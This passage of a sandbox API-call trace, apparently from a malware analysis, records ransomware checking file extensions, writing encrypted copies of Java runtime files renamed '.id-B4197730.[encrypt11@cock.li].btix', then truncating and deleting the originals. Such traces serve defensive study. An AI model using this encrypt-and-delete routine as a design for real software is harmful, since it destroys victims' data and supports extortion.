returned -1 [0154.333] lstrlenW (lpString=".xls") returned 4 [0154.333] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0154.333] lstrlenW (lpString=".xlsx") returned 5 [0154.333] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0154.333] lstrlenW (lpString=".ppt") returned 4 [0154.333] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0154.333] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0154.333] lstrlenW (lpString=".zip") returned 4 [0154.334] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0154.334] lstrlenW (lpString=".rar") returned 4 [0154.334] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0154.334] lstrlenW (lpString=".bz2") returned 4 [0154.334] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0154.334] lstrlenW (lpString=".7z") returned 3 [0154.334] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0154.334] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0154.334] lstrlenW (lpString=".dbf") returned 4 [0154.334] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0154.334] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0154.334] lstrlenW (lpString=".1cd") returned 4 [0154.334] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0154.334] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0154.334] lstrlenW (lpString=".jpg") returned 4 [0154.334] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0154.334] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0154.334] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0154.334] lstrlenW (lpString=".doc") returned 4 [0154.334] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0154.334] lstrlenW (lpString=".docx") returned 5 [0154.334] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0154.334] lstrlenW (lpString=".pdf") returned 4 [0154.334] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0154.334] lstrlenW (lpString=".xls") returned 4 [0154.334] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0154.334] lstrlenW (lpString=".xlsx") returned 5 [0154.334] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0154.334] lstrlenW (lpString=".ppt") returned 4 [0154.334] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0154.481] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0154.481] lstrlenW (lpString=".zip") returned 4 [0154.481] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0154.481] lstrlenW (lpString=".rar") returned 4 [0154.481] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0154.481] lstrlenW (lpString=".bz2") returned 4 [0154.481] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0154.481] lstrlenW (lpString=".7z") returned 3 [0154.481] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0154.481] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0154.481] lstrlenW (lpString=".dbf") returned 4 [0154.481] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0154.481] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0154.481] lstrlenW (lpString=".1cd") returned 4 [0154.481] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0154.481] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0154.481] lstrlenW (lpString=".jpg") returned 4 [0154.481] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0154.482] lstrcmpiW (lpString1=".jfc", lpString2=".btix") returned 1 [0154.482] lstrlenW (lpString="default.jfc") returned 11 [0154.482] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0154.780] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=20109) returned 1 [0154.780] CloseHandle (hObject=0x35c) returned 1 [0154.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc")) returned 0x20 [0154.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0154.780] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0154.780] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.780] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.780] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0154.783] GetLastError () returned 0x0 [0154.783] ReadFile (in: hFile=0x35c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x4e8d, lpOverlapped=0x0) returned 1 [0154.783] WriteFile (in: hFile=0x374, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x4e90, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x4e90, lpOverlapped=0x0) returned 1 [0154.784] ReadFile (in: hFile=0x35c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0154.784] WriteFile (in: hFile=0x374, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xea, lpOverlapped=0x0) returned 1 [0154.785] SetEndOfFile (hFile=0x374) returned 1 [0154.785] CloseHandle (hObject=0x374) returned 1 [0154.785] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.785] SetEndOfFile (hFile=0x35c) returned 1 [0154.786] CloseHandle (hObject=0x35c) returned 1 [0154.786] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0154.786] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc")) returned 1 [0154.787] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0154.787] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0154.787] lstrlenW (lpString=".doc") returned 4 [0154.787] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1 [0154.787] lstrlenW (lpString=".docx") returned 5 [0154.787] lstrcmpiW (lpString1=".docx", lpString2="t.jfc") returned -1 [0154.787] lstrlenW (lpString=".pdf") returned 4 [0154.787] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1 [0154.787] lstrlenW (lpString=".xls") returned 4 [0154.787] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1 [0154.787] lstrlenW (lpString=".xlsx") returned 5 [0154.787] lstrcmpiW (lpString1=".xlsx", lpString2="t.jfc") returned -1 [0154.787] lstrlenW (lpString=".ppt") returned 4 [0154.787] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1 [0154.787] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0154.787] lstrlenW (lpString=".zip") returned 4 [0154.787] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1 [0154.787] lstrlenW (lpString=".rar") returned 4 [0154.787] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1 [0154.787] lstrlenW (lpString=".bz2") returned 4 [0154.787] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1 [0154.787] lstrlenW (lpString=".7z") returned 3 [0154.787] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1 [0154.787] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0154.787] lstrlenW (lpString=".dbf") returned 4 [0154.787] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1 [0154.787] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0154.787] lstrlenW (lpString=".1cd") returned 4 [0154.787] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1 [0154.788] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0154.788] lstrlenW (lpString=".jpg") returned 4 [0154.788] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1 [0154.788] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0154.788] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0154.788] lstrlenW (lpString=".doc") returned 4 [0154.788] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1 [0154.788] lstrlenW (lpString=".docx") returned 5 [0154.788] lstrcmpiW (lpString1=".docx", lpString2="t.jfc") returned -1 [0154.788] lstrlenW (lpString=".pdf") returned 4 [0154.788] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1 [0154.788] lstrlenW (lpString=".xls") returned 4 [0154.788] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1 [0154.788] lstrlenW (lpString=".xlsx") returned 5 [0154.788] lstrcmpiW (lpString1=".xlsx", lpString2="t.jfc") returned -1 [0154.788] lstrlenW (lpString=".ppt") returned 4 [0154.788] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1 [0154.788] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0154.788] lstrlenW (lpString=".zip") returned 4 [0154.788] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1 [0154.788] lstrlenW (lpString=".rar") returned 4 [0154.788] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1 [0154.788] lstrlenW (lpString=".bz2") returned 4 [0154.788] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1 [0154.789] lstrlenW (lpString=".7z") returned 3 [0154.789] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1 [0154.789] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0154.789] lstrlenW (lpString=".dbf") returned 4 [0154.789] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1 [0154.789] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0154.789] lstrlenW (lpString=".1cd") returned 4 [0154.789] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1 [0154.789] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0154.789] lstrlenW (lpString=".jpg") returned 4 [0154.789] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1 [0154.789] lstrcmpiW (lpString1=".jfc", lpString2=".btix") returned 1 [0154.789] lstrlenW (lpString="profile.jfc") returned 11 [0154.789] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0154.789] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=20065) returned 1 [0154.789] CloseHandle (hObject=0x35c) returned 1 [0154.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc")) returned 0x20 [0154.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0154.789] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0154.790] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.790] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.790] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0154.793] GetLastError () returned 0x0 [0154.793] ReadFile (in: hFile=0x35c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x4e61, lpOverlapped=0x0) returned 1 [0154.794] WriteFile (in: hFile=0x374, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x4e70, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x4e70, lpOverlapped=0x0) returned 1 [0154.794] ReadFile (in: hFile=0x35c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0154.795] WriteFile (in: hFile=0x374, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xea, lpOverlapped=0x0) returned 1 [0154.795] SetEndOfFile (hFile=0x374) returned 1 [0154.795] CloseHandle (hObject=0x374) returned 1 [0154.795] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.795] SetEndOfFile (hFile=0x35c) returned 1 [0154.796] CloseHandle (hObject=0x35c) returned 1 [0154.796] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0154.796] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc")) returned 1 [0154.796] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0154.796] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0154.796] lstrlenW (lpString=".doc") returned 4 [0154.796] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1 [0154.796] lstrlenW (lpString=".docx") returned 5 [0154.796] lstrcmpiW (lpString1=".docx", lpString2="e.jfc") returned -1 [0154.796] lstrlenW (lpString=".pdf") returned 4 [0154.796] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1 [0154.797] lstrlenW (lpString=".xls") returned 4 [0154.797] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1 [0154.797] lstrlenW (lpString=".xlsx") returned 5 [0154.797] lstrcmpiW (lpString1=".xlsx", lpString2="e.jfc") returned -1 [0154.797] lstrlenW (lpString=".ppt") returned 4 [0154.797] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1 [0154.797] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0154.797] lstrlenW (lpString=".zip") returned 4 [0154.797] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1 [0154.797] lstrlenW (lpString=".rar") returned 4 [0154.797] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1 [0154.797] lstrlenW (lpString=".bz2") returned 4 [0154.797] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1 [0154.797] lstrlenW (lpString=".7z") returned 3 [0154.797] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1 [0154.797] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0154.797] lstrlenW (lpString=".dbf") returned 4 [0154.797] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1 [0154.797] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0154.797] lstrlenW (lpString=".1cd") returned 4 [0154.797] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1 [0154.797] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0154.797] lstrlenW (lpString=".jpg") returned 4 [0154.797] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1 [0154.797] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0154.797] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0154.797] lstrlenW (lpString=".doc") returned 4 [0154.797] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1 [0154.797] lstrlenW (lpString=".docx") returned 5 [0154.797] lstrcmpiW (lpString1=".docx", lpString2="e.jfc") returned -1 [0154.797] lstrlenW (lpString=".pdf") returned 4 [0154.797] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1 [0154.797] lstrlenW (lpString=".xls") returned 4 [0154.798] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1 [0154.798] lstrlenW (lpString=".xlsx") returned 5 [0154.798] lstrcmpiW (lpString1=".xlsx", lpString2="e.jfc") returned -1 [0154.798] lstrlenW (lpString=".ppt") returned 4 [0154.798] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1 [0154.798] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0154.798] lstrlenW (lpString=".zip") returned 4 [0154.798] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1 [0154.798] lstrlenW (lpString=".rar") returned 4 [0154.798] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1 [0154.798] lstrlenW (lpString=".bz2") returned 4 [0154.798] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1 [0154.798] lstrlenW (lpString=".7z") returned 3 [0154.798] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1 [0154.798] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0154.798] lstrlenW (lpString=".dbf") returned 4 [0154.798] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1 [0154.798] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0154.798] lstrlenW (lpString=".1cd") returned 4 [0154.798] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1 [0154.798] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0154.798] lstrlenW (lpString=".jpg") returned 4 [0154.798] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1 [0154.798] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0154.798] lstrlenW (lpString="jfr.jar") returned 7 [0154.798] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0154.798] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=560581) returned 1 [0154.799] CloseHandle (hObject=0x35c) returned 1 [0154.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar")) returned 0x20 [0154.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0154.799] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0154.799] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.799] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.799] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0154.799] GetLastError () returned 0x0 [0154.799] ReadFile (in: hFile=0x35c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x88dc5, lpOverlapped=0x0) returned 1 [0154.808] WriteFile (in: hFile=0x374, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x88dd0, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x88dd0, lpOverlapped=0x0) returned 1 [0154.817] ReadFile (in: hFile=0x35c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0154.817] WriteFile (in: hFile=0x374, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xe2, lpOverlapped=0x0) returned 1 [0154.817] SetEndOfFile (hFile=0x374) returned 1 [0154.817] CloseHandle (hObject=0x374) returned 1 [0154.817] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.818] SetEndOfFile (hFile=0x35c) returned 1 [0155.146] CloseHandle (hObject=0x35c) returned 1 [0155.146] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0155.430] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar")) returned 1 [0155.430] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0155.430] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0155.430] lstrlenW (lpString=".doc") returned 4 [0155.430] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0155.430] lstrlenW (lpString=".docx") returned 5 [0155.430] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1 [0155.430] lstrlenW (lpString=".pdf") returned 4 [0155.430] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0155.430] lstrlenW (lpString=".xls") returned 4 [0155.430] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0155.430] lstrlenW (lpString=".xlsx") returned 5 [0155.430] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1 [0155.430] lstrlenW (lpString=".ppt") returned 4 [0155.430] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0155.431] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0155.431] lstrlenW (lpString=".zip") returned 4 [0155.431] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0155.431] lstrlenW (lpString=".rar") returned 4 [0155.431] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0155.431] lstrlenW (lpString=".bz2") returned 4 [0155.431] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0155.431] lstrlenW (lpString=".7z") returned 3 [0155.431] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0155.431] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0155.431] lstrlenW (lpString=".dbf") returned 4 [0155.431] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0155.431] lstrlenW (lpString="C:\\Program 